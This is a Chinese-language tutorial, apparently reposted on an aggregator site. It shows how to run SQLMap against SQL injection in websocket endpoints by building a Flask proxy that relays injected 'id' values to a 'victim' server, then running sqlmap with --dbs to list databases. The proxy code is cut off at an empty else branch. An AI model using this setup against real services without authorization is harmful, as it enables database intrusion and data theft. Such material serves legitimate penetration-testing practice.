通过websockets的SQLMap

SQLMap是一个强大的开源工具,广泛用于检测和利用网络应用中的SQL注入漏洞。它简化了识别SQLi漏洞的过程,确定数据库的类型,并从数据库中提取敏感信息。

然而,SQLMap也有一些限制。例如,它可能不支持某些类型的请求,如通过网络套接字发出的请求。此外,单独使用SQLMap处理复杂的目标可能是一种挑战。

在这篇文章中,我们将探讨解决这些问题的可能办法,它只需要最小的努力,也使使用SQLMap更加简单。

这个想法

为了简化这一过程,我们的想法是建立一个假的服务器作为中间人。通过这种方法,SQLMap将使用一种通用格式向假服务器发出请求,然后假服务器将向实际目标发出更复杂的请求。

通过这种方式,SQLMap可以用来测试假的服务器,它作为真实目标的代理。在处理复杂的目标或SQLMap不支持的请求时,这种方法可能特别有用。

准备好环境

为了建立服务器,我们将使用Python以及Flask和Websocket库。为了开始工作,我们将创建一个虚拟环境,并使用pip安装必要的软件包。

python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install flask websocket

一旦安装完成,可以用一个简单的命令启动服务器。默认情况下,它将通过5000端口在localhost上可用。

flask run

主服务器

为了设置服务器,我们需要做的就是定义一个端点,该端点应该接受一个或多个查询参数作为输入,并使用它们来创建请求。

from flask import Flask, request
from websocket import create_connection

app = Flask(__name__)

ws_url = "ws://website.com" # put here the ws base url

# it expects a request like /?query=something
@app.route("/")
def handle():
    # query is the query param name used by this endpoint
    args = request.args
    id = args.get('query')

    ws = create_connection(ws_url)

    # in this example, the websocket endpoint
    # expects a json with an id parameter
    # that is vulnerable to sqli
    payload = '{"id":"%s"}' % id
 
    ws.send(payload)
    res = ws.recv()
    ws.close()

    if res:
              return res
    else:
    

在这段代码中,受害者预计会收到一个包含有ID的JSON对象的websocket消息。服务器拦截SQLMap请求,提取作为查询的ID,并将其发送到实际目标。这使得SQLMap可以被用来测试假的服务器,而假的服务器作为真正目标的代理。

需要注意的是,在执行SQLMap之前,服务器必须正在运行。另外,要注意把这个文件称为 "app.py",以使它能被flask识别。否则,你应该改变FLASK_APP环境变量的值。

运行SQLMap

要运行SQLMap,你只需要提供包括查询参数的正确URL,SQLMap会处理剩下的事情。

一旦SQLMap被执行,它将能够通过我们创建的假服务器来扫描受害者。

sqlmap -u "http://localhost:5000/?query=1" --batch --dbs
展开阅读全文

页面更新:2024-04-27

标签:受害者   漏洞   想法   参数   目标   过程   类型   简单   环境   服务器

1 2 3 4 5

上滑加载更多 ↓
推荐阅读:
友情链接:
更多:

本站资料均由网友自行发布提供,仅用于学习交流。如有版权问题,请与我联系,QQ:4156828  

© CopyRight 2008-2024 All Rights Reserved. Powered By bs178.com 闽ICP备11008920号-3
闽公网安备35020302034844号

Top